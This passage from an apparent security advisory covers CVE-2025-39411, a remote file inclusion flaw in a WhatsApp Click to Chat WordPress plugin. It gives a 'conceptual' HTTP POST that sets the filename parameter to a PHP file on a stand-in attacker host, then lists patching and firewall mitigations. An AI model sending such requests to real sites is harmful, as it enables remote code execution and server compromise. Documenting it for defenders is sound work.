An attacker can manipulate the filename, leading to the remote inclusion of files from external servers. This allows for arbitrary code execution on the server side, which can result in a system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4234875293\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited. This does not represent an actual exploit code but serves to illustrate the concept.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/whatsapp-click-to-chat\/filename.php HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/x-www-form-urlencoded\nfilename=http:\/\/malicious.example.com\/malicious_file.php<\/code><\/pre>\n<p>In the above example, an attacker sends a POST request to the vulnerable endpoint, specifying a malicious PHP file hosted on their server as the filename. The server then includes this file and executes the malicious code.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>As of now, the best way to mitigate this vulnerability is to apply the vendor patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. This should, however, be considered a temporary solution until the patch can be applied.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview This report discusses CVE-2025-39411, a significant vulnerability in the Indie_Plugins WhatsApp Click to Chat Plugin for WordPress.
